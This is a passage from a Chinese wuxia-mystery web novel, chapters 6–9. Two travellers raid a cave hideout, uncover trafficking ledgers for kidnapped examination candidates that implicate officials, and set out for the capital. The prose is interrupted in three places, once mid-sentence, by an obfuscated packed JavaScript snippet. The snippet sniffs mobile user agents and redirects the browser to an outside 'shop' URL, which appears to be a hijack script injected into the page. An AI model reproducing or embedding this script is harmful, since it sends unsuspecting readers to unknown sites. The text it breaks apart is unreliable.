两人一时无话。晨光从窗纸透进来,在地上投下菱形的光斑。远处传来鸡鸣犬吠,猎户村从睡梦中醒来,开始新的一天。 “你为何要考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863482|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科举?”谢云辞忽然问。 江清砚端着碗的手顿了顿。他抬起眼,看向窗外苍翠的山林,许久,才轻声道:“我爹临终前,拉着我的手说,清砚,咱们江家世代行医,救人无数,却终究是布衣。你要好好读书,考取功名,日后……做个好官。” 他顿了顿,声音更轻:“爹说,这世道,好人太苦了。若能在朝中多一个心怀善意的人,或许就能少几个像我娘那样,拼尽一生却救不了自己的人。” 谢云辞沉默。 他想起了自己的阿姐。那个温柔善良的女子,也是拼尽一生,却终究没能护住想护的人。 “你爹娘……”他开口,声音有些涩。 “都走了。”江清砚放下碗,手指无意识地摩挲着碗沿,“娘走时我才十岁,爹撑了三年,也去了。留下我一个人,和满屋子的书。” 他说得平静,谢云辞却听出了话外的孤寂。一个十岁丧母、十三岁丧父的少年,拖着病体,守着满屋书卷,独自熬过那些漫漫长夜…… 那是怎样的日子? “所以你要去京城。”谢云辞低声道,“不是为了功名,是为了完成爹娘的遗愿。” 江清砚轻轻点了点头。 “那你呢?”他忽然反问,看向谢云辞,“你又是为何,非要在这个时候去京城?” 四目相对。 谢云辞喉结滚动了一下。他本不想说,可对着江清砚那双清澈的眼睛,那些深埋心底的话,竟有了倾诉的冲动。 “我有仇要报。”他听见自己说,声音干涩,“六年前,我家遭人陷害,满门……只活了我一个。” 他说得很简略,可每个字都浸着血。江清砚静静听着,没有打断。 “仇家在京城,势力很大。”谢云辞继续道,手无意识地按在胸口——那里,平安扣贴着肌肤,“我查了六年,才查到线索。这次进京,就是要去……做个了断。” 他说完,忽然觉得轻松了些。这些话他从未对任何人说过,如今说出来,倒像是卸下了一副重担。 江清砚沉默良久。 “所以昨夜那些追杀你的人……”他轻声问。 “是仇家派来的。”谢云辞点头,“他们知道我查到了什么,想在我进京前灭口。” 院外传来脚步声,是陈岩回来了。他带回了大包小包的材料,堆在院中,像座小山。 江清砚站起身,走到门口,看着那些药材和石灰,神色重新变得专注。方才那片刻的脆弱和倾诉,仿佛从未存在过。 他又变回了那个理性、冷静、算无遗策的书生。 “陈捕头,我需要一间干净的屋子,还有几个大木桶。”他吩咐道,声音平稳,“醉鱼草根茎需捣碎取汁,曼陀罗花粉要过细筛,石灰要分装……” 他一条条交代,条理清晰。陈岩连连点头,立刻去安排。 谢云辞站在他身后,看着他清瘦却挺直的背影,忽然觉得胸口那枚平安扣,烫得厉害。 这个少年,看似温润如玉,实则骨子里有钢。 而他谢云辞,看似冷硬如铁,实则心里藏着火。 他们是截然不同的两种人,却又在某些深处,惊人地相似。 或许这就是为什么,萍水相逢,却能并肩同行。 “谢云辞。”江清砚忽然回头,叫他的名字。 谢云辞抬眼。 “等此事了结,我们一起去京城。”江清砚看着他,目光清澈而坚定,“你的仇,我帮你记着。我的路,你陪我走。” 晨光落在他脸上,镀上一层淡金。山风穿过院落,吹动他额前碎发。 谢云辞看着他,许久,缓缓点了点头。 “好。”他说。 一字千钧。 院中,陈岩已搬来木桶,开始捣药。药杵撞击的声音沉闷而有节奏,混着山鸟啼鸣,和远处溪流的潺潺水声。 新的一天,开始了。 而他们的路,还要一起走很久。 7. 第 7 章 第七章鬼船迷踪(上) 三日后,老君洞。 瀑布如白练悬空,轰然坠入深潭,水汽弥漫,在午后的阳光下折射出细碎的虹彩。陈岩带着二十余名衙役埋伏在瀑布上游的密林中,每个人脸上都蒙着浸过解药的湿布。 江清砚站在水边一块突出的岩石上,白衣被水汽打得半湿,紧贴在清瘦的身形上。他手里拿着一个竹制漏斗,正将最后一份混合粉末缓缓倒入水中——那是研磨了整整两日的曼陀罗花粉、醉鱼草汁液与生石灰的混合物,细如粉尘,遇水即化,却不会立刻溶解,而是随着水流翻滚、扩散,形成一片乳白色的雾带。 “剂量够了。”江清砚放下漏斗,退后几步,看向身旁的谢云辞,“半个时辰后,药雾会随水汽弥漫整个溶洞。我们有两个时辰的时间。” 谢云辞点头,目光投向瀑布下方的溶洞口——那洞口半掩在藤蔓之后,只露出一条狭窄的缝隙,黑黝黝的,像巨兽张开的嘴。 陈岩从林中钻出,压低声音:“探子回报,洞里有动静,人数不少于三十。其中有被掳的百姓,约莫七八个,都被关在最深处的石室里。” “石室位置?”谢云辞问。 “从这里进去,第三条岔路往右,走到底。”陈岩递过一张简陋的草图,“但里面岔路太多,极易迷路。而且……”他顿了顿,“血衣门的人在里面布了机关,我们前三次强攻,都折在机关上。” 江清砚接过草图细看。图绘得粗糙,但大致标出了主洞、岔路和石室的位置。他的目光在几条岔路上停留片刻,忽然指向其中一处:“这里,为什么画了个叉?” 陈岩脸色微变:“那是条死路,但里面有陷阱。我们有个兄弟折在那儿,尸体都没能抢回来。” 江清砚沉吟片刻,抬起眼:“我需要进去看看。” “什么?”陈岩和谢云辞同时出声。 “药雾只能让人昏迷,但解不了机关。”江清砚语气平静,“若不知机关布置,贸然进去救人,反而可能害了那些百姓。” 谢云辞皱眉:“太危险。” “所以需要你陪我。”江清砚看向他,目光清亮,“陈捕头带人在外接应,若两个时辰后我们没出来,便按第二套方案——强攻。” 陈岩还想说什么,江清砚已转身走向溶洞口。谢云辞沉默地跟上,手按在腰间匕首上。 洞口藤蔓被拨开,一股潮湿阴冷的气息扑面而来,混着淡淡的血腥味和某种难以形容的腐臭。洞内漆黑一片,只有洞口透进的天光勉强照亮前方几步。 江清砚从怀中取出一个火折子点亮。昏黄的光晕下,洞壁嶙峋,钟乳石倒悬,地面湿滑,到处是积水坑。洞深处传来隐约的水声,还有……某种低低的呻吟。 两人对视一眼,小心踏入。 主洞很宽,可容三人并行。但走出不到二十步,前方就出现了三条岔路,正如草图所示。江清砚在岔路口停下,蹲下身,仔细查看地面。 “有人走过。”他指着其中一条岔路地面上的痕迹,“脚印杂乱,深浅不一,是多人频繁往来留下的。这条路通往深处。” 他又看向另外两条岔路。一条地面几乎无痕,另一条……有拖拽的痕迹,还有零星的血迹。 “百姓被关在哪条路?”他问谢云辞。 “第三条,往右。”谢云辞指着草图,“但陈岩说,那条路上机关最多。” 江清砚点点头,却走向了中间那条几乎无痕的岔路。 “你去哪?”谢云辞拉住他。 “看机关。”江清砚轻声道,“布机关的人,一定会给自己留条安全的路。这条路看似无人走,实则……可能是他们日常出入的通道。” 他举着火折子,小心翼翼地踏入岔路。谢云辞紧跟其后,匕首已出鞘。 这条路果然不同。洞壁更光滑,地面虽湿,却无积水。走出十余步,前方忽然开阔,出现一个天然的石厅。厅中摆着简陋的石桌石凳,桌上散落着碗筷,还有半坛酒——显然有人在此活动。 但更引人注目的,是石厅四周墙壁上的壁画。 壁画用某种暗红色的颜料绘制,线条粗犷诡异,画的都是些扭曲的人形,有的在饮血,有的在祭拜,还有的……身体裂开,从中钻出蝙蝠状的怪物。 “血衣门的图腾。”谢云辞低声道,声音里带着压抑的厌恶。 江清砚没有多看壁画。他举着火折子,仔细查看石厅地面、墙壁、甚至头顶的钟乳石。忽然,他脚步一顿。 “别动。”他轻声道。 谢云辞立刻停住。江清砚蹲下身,手指轻触地面一块略微凸起的石板——石板边缘有极细微的缝隙,若不是他眼力惊人,根本发现不了。 “翻板陷阱。”江清砚从袖中取出一枚铜钱,轻轻放在石板上。铜钱刚落稳,石板突然向下翻开!铜钱坠入下方黑暗,许久才传来一声沉闷的落水声。 下方是深坑,有水,还有……隐约的金属反光。 “水里有倒刺。”江清砚站起身,脸色有些发白,“若是人掉下去,不死也残。” 他绕过那块石板,继续往前。谢云辞看着他单薄的背影,忽然意识到——这个少年对机关的熟悉,恐怕远超常人想象。 石厅尽头又是一条岔路。这次江清砚没有犹豫,直接走了进去。岔路很窄,只容一人通过,且越走越深,空气愈发潮湿阴冷。 忽然,前方传来水声——不是瀑布的轰鸣,而是潺潺的流水声,更轻,更缓。 江清砚加快脚步。转过一个弯,眼前豁然开朗。 那是一个巨大的地下洞穴,洞顶高逾十丈,垂挂下无数钟乳石,在火光照耀下闪烁着诡谲的荧光。洞穴中央,竟有一条地下河蜿蜒而过,河水漆黑,深不见底。而河岸边…… 停着三艘船。 不是寻常的渔船或客船,而是通体漆黑、形制怪异的狭长小船。船身窄而深,船头尖翘,像某种水鸟的喙。最诡异的是,每艘船的船头都挂着一盏白纸灯笼,灯笼上写着血红的字: 引魂。 江清砚的呼吸陡然急促起来。 他想起了进京路上听闻的传言——运河“鬼船”,失踪的考生,神秘的“水鬼帮”…… 原来如此。 “血衣门……”他低声喃喃,“不是江湖余孽那么简单。” 谢云辞也看到了那些船,眼神瞬间锐利如刀。他快步走到河边,俯身查看——船身还很新,木材是上好的黑檀,船底有水渍,显然近期用过。 “他们用水路运人。”谢云辞直起身,声音冰冷,“掳来的人,从这里上船,顺地下河运出去。所以官府在陆路设卡,却始终抓不到他们。” 江清砚点头,目光却落在河对岸。那里,隐约能看到一个洞口,洞口前堆着些木箱,箱盖上烙着模糊的徽记。 他正要细看,洞穴深处忽然传来脚步声! 杂乱,急促,不止一人! 谢云辞一把拉住江清砚,闪身躲到一块巨大的钟乳石后。几乎同时,七八个黑衣人从洞穴深处的岔路冲出,个个脚步踉跄,神色惊慌。 “快!上船!药……药雾进来了!”为首一人嘶声大喊,声音含混不清,显然已经吸入了药雾。 他们跌跌撞撞冲向那三艘黑船。但药效发作得比预想的快——还没跑到河边,就有两人腿一软,扑倒在地。其余人勉强爬上船,却连桨都拿不稳,船在河心打转。 谢云辞正要出手,江清砚却按住了他的手臂。 “等等。”他轻声道,目光紧盯着河对岸那个洞口。 果然,洞口又冲出一人。这人不同——他虽也脚步虚浮,但手中紧握一柄长刀,脸上蒙着黑巾,只露出一双赤红的眼睛。他冲到河边,却不是上船,而是挥刀砍向系船的缆绳! “他想毁船灭迹!”谢云辞低喝,已如离弦之箭般扑出! 黑衣人听到动静,猛地转身,长刀横劈!但药效影响下,他的动作慢了半拍。谢云辞侧身避过刀锋,匕首直刺对方手腕! “当啷”一声,长刀落地。黑衣人闷哼一声,却反手从怀中掏出一个竹筒,对着谢云辞一扬—— 又是毒液! 谢云辞急退,毒液擦着衣角掠过,溅在岩石上,“嗤嗤”冒起白烟。黑衣人趁机转身欲逃,却脚下一软,单膝跪地——药效彻底发作了。 谢云辞上前,一脚踢飞他手中的竹筒,匕首抵住他咽喉。 “你们是什么人?”他冷声问。 黑衣人眼神涣散,却仍咬着牙不说话。谢云辞正要逼问,江清砚已走了过来。 “不必问了。”他蹲下身,伸手扯下黑衣人脸上的黑巾——那是一张普通的中年男人的脸,面色惨白,嘴唇发紫,是长期服食某种药物所致。 但江清砚的目光,落在了他脖颈处。 那里,有一个刺青。 不是血衣门的蝙蝠图腾,而是一个……船锚的形状,锚柄上缠绕着一条狰狞的水蛇。 “水鬼帮。”江清砚缓缓站起身,脸色凝重,“原来血衣门余孽,就是水鬼帮。” 谢云辞瞳孔微缩。他想起了江清砚之前提过的运河失踪案——考生,货物,神秘的鬼船…… “他们掳人,不是为了练功。”江清砚看向那三艘黑船,声音发冷,“是为了卖人。” 地下河寂静无声,只有水流潺潺。三艘黑船在河心打转,船上的黑衣人已昏迷瘫倒。白纸灯笼在火光映照下摇曳,“引魂”二字猩红刺目。 谢云辞将昏迷的黑衣人捆好,拖到岸边。江清砚则走到那些木箱前,撬开箱盖——里面是账本,厚厚的,一箱又一箱。 他随手拿起一本翻开。上面记录着密密麻麻的交易:某年某月某日,送“货”几件,收银多少。“货”的后面,标注着性别、年龄、甚至特长——有“通文墨”,有“擅音律”,有“力壮”…… 越翻,江清砚的手越冷。 这些不是普通的贩卖人口。他们在有选择地掳掠——读书人,工匠,乐师,甚至……容貌姣好的少年男女。 像是,在为什么人“供货”。 “你看这里。”江清砚指着其中一页,声音有些发颤。 谢云辞凑近看去。那页记录的日期是三个月前,“货”的标注是:男,十七,体弱,通经史,善算学。后面备注:江南口音,疑似赶考举子。 而收货的那一栏,写着一个简单的代号:丙三。 “他们在抓赶考的举子。”谢云辞声音冰冷,“为什么?” 江清砚没有回答。他快速翻看其他账本,手指在那些代号上划过——甲一,乙七,丙三,丁九……像是某种等级编号,又像是……某种排序。 忽然,他的手指停在了一页上。 那一页的记录很特殊。“货”的标注只有两个字:谢姓。后面备注:余孽,武功高,需特殊处理。而收货方…… 是一个墨笔勾勒的徽记。 谢云辞看到那个徽记的瞬间,浑身血液几乎冻结。 那是……六扇门的标志。 但又不完全一样——在标志下方,多了一道细细的血痕,像是被人用朱笔刻意添加的。 “这是……”谢云辞的声音嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863483|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑。 江清砚合上账本,抬起眼,目光复杂地看着他。 “你的仇家,”他轻声道,“可能不只是江湖人。” 洞穴里死一般寂静。只有地下河的水声,潺潺不绝,像是无数冤魂在呜咽。 谢云辞死死盯着那个带血痕的徽记,手指握得咯咯作响。六年了,他追查了六年,却从未想过……仇家可能就在他最熟悉的地方。 六扇门。 那个他为之效力、视为归宿的地方。 “不一定。”江清砚忽然开口,声音恢复了平静,“也可能是有人故意栽赃,或者……六扇门内部,有叛徒。” 他站起身,将那些账本重新装箱:“这些账本必须带走。还有那些船,船上的人,都是证据。” 谢云辞深吸一口气,强迫自己冷静下来。他点点头,走向那三艘黑船,将昏迷的黑衣人一个个拖上岸,捆好。 就在这时,洞穴深处传来陈岩的呼喊声:“江公子!谢公子!你们在哪?” 药雾已经弥漫到深处,陈岩带人进来了。 江清砚应了一声,转身看向那个被俘的黑衣人——他已昏迷,脖颈上的船锚刺青在火光下清晰可见。 “陈捕头!”江清砚高声喊道,“这里!有重要发现!” 脚步声由远及近,火把的光照亮了洞穴。陈岩带着衙役们冲进来,当看到河边的黑船和那些账本时,脸色骤变。 “这是……” “水鬼帮的老巢。”江清砚言简意赅,“血衣门余孽,就是水鬼帮。他们在贩卖人口,对象包括赶考的举子。而且……” 他顿了顿,看向谢云辞:“可能牵扯到官府内部。” 陈岩倒吸一口凉气。他快步走到木箱前,翻开账本看了几眼,脸色越来越难看。 “这些账本,必须立刻呈报府衙!”他沉声道,“不,直接呈报刑部!此事……太大了。” 衙役们开始搬运账本,将昏迷的黑衣人押走。江清砚走到谢云辞身边,低声道:“我们先去救人。” 谢云辞点头。两人按照草图,走向关押百姓的石室。 石室在洞穴最深处,铁门紧锁。谢云辞一刀劈开门锁,推门而入—— 里面横七竖八躺着七八个人,有男有女,个个面黄肌瘦,昏迷不醒。但他们都还活着。 江清砚快速检查了一遍,松了口气:“只是中了药雾,十二个时辰后会醒。” 他正要吩咐衙役将人抬出去,目光却忽然定在角落里一个人身上。 那是个少年,约莫十六七岁,衣衫褴褛,但面料是上好的苏绸,已被污渍染得看不出原色。他脸上有伤,昏迷中仍蹙着眉,像是忍受着极大的痛苦。 而他的腰间,挂着一块玉牌。 玉牌已裂了一道缝,但上面的字迹仍清晰可辨: 苏州府学,李慕言。 江清砚的手颤抖了一下。 他想起了进京前,在润州茶馆听到的传闻——苏州有位少年才子李慕言,十五岁中举,名动江南,却在赴京赶考途中失踪,至今下落不明。 原来,他在这里。 “怎么了?”谢云辞察觉他神色有异。 江清砚没有回答。他蹲下身,轻轻拂开少年额前乱发,露出清秀却苍白的脸。 然后,他从怀中取出银针,在少年几处穴位轻刺。片刻后,少年睫毛微颤,缓缓睁开了眼。 那是一双极清澈的眼睛,只是此刻盛满了惊恐和茫然。 “你……你们是……”少年声音嘶哑。 “我们是来救你的。”江清砚温声道,将他扶起,“你叫李慕言,对吗?” 少年愣愣点头,忽然抓住江清砚的衣袖:“我……我的书童呢?还有同行的张兄、王兄……他们……” 他的话戛然而止,像是想起了什么可怕的回忆,整个人剧烈颤抖起来。 江清砚按住他的肩,声音沉稳:“别怕,慢慢说。你们遇到了什么?” 李慕言嘴唇哆嗦着,许久,才断断续续道:“我们……在运河上,遇到了鬼船……那些人,那些黑衣人,他们……他们杀了船夫,把我们绑起来……带到这里……关着……每天只给一点水……还要我们……写字……” “写字?”江清砚追问。 “对……写文章,解题,算数……”李慕言眼神涣散,“写得好,就给吃的……写不好……就打……张兄就是……就是被打死的……” 他说着,眼泪滚落下来。 江清砚与谢云辞对视一眼,心中寒意更甚。 这些人在“筛选”。 筛选有才华的举子,然后……卖出去。 卖给谁?为什么要买这些举子? 谜团如地下河的黑暗,深不见底。 但此刻,他们只能先将人救出去。 陈岩带人将昏迷的百姓一一抬出洞穴。李慕言勉强能走,江清砚扶着他,一步步走出这个人间地狱。 洞口天光刺目。 瀑布依旧轰鸣,水汽弥漫。但这一次,水汽中不再有药雾,只有山间清新的草木气息。 江清砚站在洞口,回头看了一眼深不见底的黑暗。 然后,他转过身,扶着李慕言走向等在林外的马车。 谢云辞跟在他身后,手始终按在腰间匕首上。 账本搬出来了,人救出来了,水鬼帮的巢穴也端掉了。 可他们都知道—— 这只是一个开始。 真正的暗流,还在更深的水底涌动着。 而他们,已经踏进了漩涡中心。 8. 第 8 章 第八章账本玄机 猎户村的清晨被急促的马蹄声踏破。 陈岩派去县衙报信的快马刚走不到两个时辰,又一队人马旋风般冲进村子。这回不是衙役,而是一队身着褐色劲装、腰佩制式长刀的官差,为首的是一名面色冷峻的中年文官,着青色官袍,补子上绣着鸂鶒——正七品的知县到了。 江清砚和谢云辞站在陈老栓家院中,看着那队官差翻身下马,动作整齐划一,训练有素,显然不是普通县衙的班底。 “下官蓟州知县赵文康,见过二位。”中年文官快步上前,目光在江清砚和谢云辞身上一扫,尤其在谢云辞腰间那柄匕首上多停留了一瞬,“陈捕头已将案情禀报,老君洞一案,多亏二位义士相助。” 他的语气客气,但眼神里带着审视。 江清砚长揖还礼:“学生江清砚,不敢当‘义士’之称。此乃陈捕头与诸位官爷的功劳。” 谢云辞只抱了抱拳,没有说话。 赵知县点点头,转向陈岩:“账本何在?” 陈岩立刻引着他走向偏屋——那里已临时辟出一间,三箱账本整齐码放在木桌上。赵知县快步上前,随手翻开一本,只看了一眼,脸色就变了。 “这是……”他手指微颤,“水运司的徽记?” 江清砚心头一动,上前看去。赵知县指着的,是账本扉页上一个极小的烙印,形似船锚,与那黑衣人脖颈上的刺青有七八分相似,只是更精细,更像官印。 “水运司?”谢云辞沉声问。 “朝廷督办漕运的衙门。”赵知县合上账本,面色凝重,“但水运司三年前就已裁撤,并入工部都水司。这些账本若是真的……那就是三年前的旧物。” 三年。 江清砚脑中迅速划过线索:三年前血衣门命案开始,三年前水运司裁撤,三年前水鬼帮活跃于运河…… 太多巧合,就不是巧合。 “大人,”江清砚缓缓开口,“学生有一事不明。水运司裁撤后,原有的官船、人员,如何安置?” 赵知县看了他一眼,眼神复杂:“官船大部移交都水司,少数破损的折价变卖。人员……一部分留用,一部分遣散。”他顿了顿,“当时确实闹过一阵,有些被裁的漕工无处可去,落草为寇的传言也有过。但朝廷发了遣散银,按理不该……” 他没说下去,但意思很明显:若真有水运司旧部沦为水鬼帮,那这背后的问题,就不仅是江湖恩怨了。 “账本上还有别的发现吗?”赵知县问陈岩。 陈岩上前,翻开另一本账本,指着其中一页:“大人请看这里。这笔交易,日期是永昌十六年九月初七,地点标着‘蓟州码头丙字仓’,收货方代号‘丙三’,货物是……五个‘文货’。” “文货?”赵知县皱眉。 “据被俘的匪徒招供,”陈岩压低声音,“‘文货’指的是掳来的读书人,‘武货’是习武之人,‘工货’是工匠,‘乐货’是乐师……分门别类,明码标价。” 赵知县脸色铁青,手指重重按在账页上:“简直无法无天!蓟州码头丙字仓……那是官仓!谁给他们开的门?!” 满室寂静。 官仓私用,勾结匪类,贩卖人口——每一条都是抄家灭门的大罪。 江清砚忽然开口:“大人,可否让学生看看那页账目?” 赵知县将账本推过去。江清砚俯身细看,指尖在那些墨字上缓缓划过——字迹工整,用的是标准的馆阁体,但笔画间有些微的滞涩,像是书写者刻意模仿,却终究留了破绽。 而最让他在意的,是账目下方的一行小字备注: “丙三验货,言‘江南口音重,需调教’。退银五十两,限期十日改之。” 限期十日……改口音? 江清砚抬起头:“他们不是在卖人,是在‘定制’。” 谢云辞眼神一凛:“什么意思?” “你看。”江清砚指着那行备注,“若只是贩卖人口,何须在意口音?买主若嫌江南口音重,不买便是,何必‘退银五十两’,还‘限期十日改之’?这不像买卖,倒像是……雇主在验收货物,提出修改要求。” 他顿了顿,声音更沉:“他们在按照某个标准,培养、改造这些掳来的人。达到标准了,才‘交货’。” 赵知县倒吸一口凉气:“你是说……这些人在为某个势力,培养特定的人才?” 江清砚点头:“而且这个势力,很可能在京城。” “为何?” “江南口音重,在江南不是问题,在北方才是问题。”江清砚缓缓道,“要求改口音,说明买方在北方,且需要这些人融入当地,不引人怀疑。而最大的北方需求地,就是京城。” 他翻动账本,又找到几处类似备注:“看这里,‘需熟读《周礼》’,‘需精通筹算’,‘需擅琴艺’……要求越来越具体,越来越像在……为某个府邸培养幕僚、账房、甚至清客。” 谢云辞忽然想起那些被掳的举子——有才华,有学识,若是稍加“调教”,去掉口音,改掉习性,换个身份送入高门大户…… 神不知,鬼不觉。 “好大的手笔。”赵知县喃喃道,额角渗出冷汗,“若真如此,这背后牵扯的,恐怕不止一两个官员。” 江清砚合上账本,看向窗外。院子里,李慕言和其他被救的百姓已洗漱干净,换了衣服,正由衙役照料着喝粥。少年苍白的脸在晨光中显得格外脆弱。 “李慕言说,他们被要求写字、解题、算数。”江清砚轻声道,“写得好给吃的,写不好就打。这是在测试,也是在筛选。留下的,都是‘合格品’。” 他转过身,目光清亮地看着赵知县:“大人,这些账本,必须立刻密封,派重兵押送进京,直呈刑部,甚至……大理寺。” 赵知县犹豫了:“本官只是七品知县,越级呈报,不合规矩。况且……”他压低声音,“若真牵扯到京中贵人,这账本送不送得到刑部,还未可知。” 这话说得隐晦,但意思明白——官场水深,谁知道押送路上会出什么“意外”? 谢云辞忽然开口:“大人可信得过我?” 赵知县看向他,眼神复杂:“谢公子是……” “六扇门,谢云辞。”谢云辞从怀中取出一枚玄铁令牌,放在桌上。令牌乌沉,正面刻“六扇门总捕”,背面是一个篆体的“谢”字。 赵知县瞳孔骤缩,猛地起身:“你……你是谢总捕?!” 谢云辞点头:“账本由我押送进京,直呈刑部尚书。沿途若有闪失,我担全责。” 他的声音不大,却带着不容置疑的分量。赵知县盯着那枚令牌看了许久,终于一咬牙:“好!本官这就安排车马、护卫,护送谢总捕进京!” “不必护卫。”谢云辞摇头,“人多眼杂,反而不便。我一人一马,日夜兼程,三日内必到京城。” 赵知县还想说什么,江清砚却忽然道:“我与谢兄同去。” 谢云辞皱眉:“你的身体——” “无妨。”江清砚从袖中取出一个瓷瓶,“这是陈大夫刚配的药,可暂缓心疾。况且……”他看向谢云辞,目光平静,“账本是我发现的,其中关窍我最清楚。进京呈报,我在场更妥当。” 四目相对。 谢云辞看到了他眼中的坚持。他知道,这个看似温润的书生,一旦决定的事,谁也劝不动。 “好。”他终于点头,“但若途中不适,必须停下。” 江清砚微微一笑:“自然。” 事情就这么定下。赵知县亲自密封账本,装入特制的铁箱,加了三道铜锁,锁钥由谢云辞贴身保管。又备了两匹快马,干粮饮水,还有蓟州官府出具的通行文书。 临行前,江清砚去看了李慕言。 少年已恢复了些精神,正坐在院中石凳上喝药。见江清砚来,连忙起身行礼:“江兄。” “李兄感觉如何?”江清砚温声问。 “好多了。”李慕言眼中仍有惊悸,但已不是全然的恐慌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863484|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听陈捕头说,是江兄和谢兄救了我们……大恩大德,没齿难忘。” 江清砚摇摇头,在他对面坐下:“李兄,有些事我想问你。你们在运河上遇到的‘鬼船’,具体是什么样子?” 李慕言脸色白了白,深吸一口气,才缓缓道:“那是艘黑船,船身很窄,船头尖得像刀子。夜里出现的,悄无声息,等我们察觉时,它已经贴在船舷边了。船上的人……都蒙着面,动作很快,先放迷烟,再上船绑人。我们的船夫想反抗,被一刀……” 他顿了顿,声音发颤:“后来我们被关在船舱底,暗无天日。只记得船行了很久,中间换过一次船,是从一个水道进的洞……再醒来,就在石室里了。” “换船的水道,可有什么特征?”江清砚追问。 李慕言努力回忆:“那水道很窄,两岸都是峭壁,长满了藤蔓。水道尽头……好像有个破旧的码头,木桩都烂了,但还能用。” 破旧码头,藤蔓,峭壁。 江清砚心中迅速比对地图——符合这些特征的地方,蓟州境内只有一处:断龙峡。 而断龙峡,正在蓟州码头下游三十里,是运河的一段险隘。 “李兄可还记得,被关押期间,除了写字解题,他们还问过你们什么?”江清砚又问。 李慕言皱眉思索:“问过籍贯,家中情况,师承何人……还有,有没有在京中投靠的亲友。”他忽然想起什么,“对了,他们还问过一个奇怪的问题。” “什么?” “问我们知不知道……‘观澜书院’。” 江清砚心头一震。 观澜书院,京城最有名的私学,山长是致仕的翰林院学士,门下弟子非富即贵,更是今科会试的热门——据说今科主考官,就是书院山长的同年。 “你们怎么答的?”他不动声色地问。 “我们都说不知道。”李慕言苦笑,“我们这些江南学子,初来北方,哪里知道京城的书院。他们听了,好像……有些失望。” 失望。 江清砚指尖微微发凉。他想起账本上那些具体要求:熟读《周礼》,精通筹算,擅琴艺……这些,不正是观澜书院招生的标准吗? 若是将掳来的才子“调教”好,换个身份,送入观澜书院,再通过科举进入官场…… 那幕后之人,等于是给自己培养了一支未来的“门生”队伍。 好深的谋划,好毒的计策。 “江兄?”李慕言见他神色有异,轻声唤道。 江清砚回过神,微微一笑:“没事。李兄好生休养,待身体恢复,可要继续赴考?” 李慕言眼神黯淡下来:“经历此番,家父家母必已忧心如焚。我想先回苏州报平安,至于科举……”他摇摇头,“来年再说吧。” 江清砚点点头,不再多劝。他起身告辞,走出院子时,谢云辞已在门外等候,两匹马拴在树上,正低头吃草。 “问出什么了?”谢云辞问。 江清砚将李慕言的话复述一遍,尤其是“观澜书院”那段。谢云辞听完,眼神冷得像冰。 “若真如此,这案子就不仅是贩卖人口,而是……科举舞弊,培植党羽。” 他翻身上马,看向江清砚:“你确定要跟来?此去京城,恐怕比老君洞更凶险。” 江清砚也上了马,勒紧缰绳。晨光落在他苍白的脸上,镀上一层淡金。 “读书人,总该有些明知山有虎的勇气。”他轻声道,“况且,我答应过,要陪你走到京城。” 谢云辞看着他,许久,点了点头。 “驾!” 两匹马冲出村子,踏碎晨雾,奔上北去的官道。 身后,猎户村渐渐远去。前方,是蜿蜒的山路,和藏在迷雾里的京城。 账本在行囊中沉甸甸的,像是装着无数冤魂的呐喊。 而他们,要将这呐喊,带到那九重宫阙之下。 无论前方是刀山,还是火海。 既然选择了同行,便没有回头路。 9. 第 9 章 第九章夜探货栈 马不停蹄地赶了一整日路,入夜时分,江清砚和谢云辞抵达了蓟州码头所在的小镇——清河镇。 镇子不大,却因着运河码头而繁华。入夜后,沿河的长街上灯火通明,酒旗招展,客栈、货栈、赌坊、妓馆鳞次栉比。河面上泊着大大小小的船只,桅杆如林,在晚风中轻轻摇晃。 两人在镇口找了家不起眼的小客栈,要了间二楼临街的客房。安顿好马匹行李,江清砚推开窗,目光投向码头方向——那里灯火最盛,隐约能看到堆积如山的货箱,还有穿梭其间的苦力。 “蓟州码头丙字仓……”他轻声自语,从怀中取出赵知县临别时给的一份简易码头布局图,就着油灯细看。 图上标着甲乙丙丁四个货仓区。丙字仓在最东侧,紧挨着一片废弃的船坞,位置偏僻,确是做隐秘勾当的好地方。 谢云辞关好房门,走到窗边,顺着江清砚的目光看去:“你想夜探?” “嗯。”江清砚点头,“账本上记载丙字仓的‘交易’有十七次,最近一次是三个月前。若那里真是水鬼帮的转运点,或许还留着线索。” 谢云辞皱眉:“太危险。码头夜间有巡更的衙役,丙字仓若真有问题,守卫必定森严。” “所以更要去看。”江清砚转身,从行李中取出一套深色布衣换上,又将几个小瓷瓶、一捆细绳、还有那筒淬毒钢针仔细藏在身上,“若等天亮,官差大张旗鼓去查,什么痕迹都抹干净了。” 他说得有理,谢云辞无法反驳。他沉默地换上夜行衣,将匕首插在腰间,又检查了一遍袖箭——那是临行前陈岩送的,小巧精良,可连发三矢。 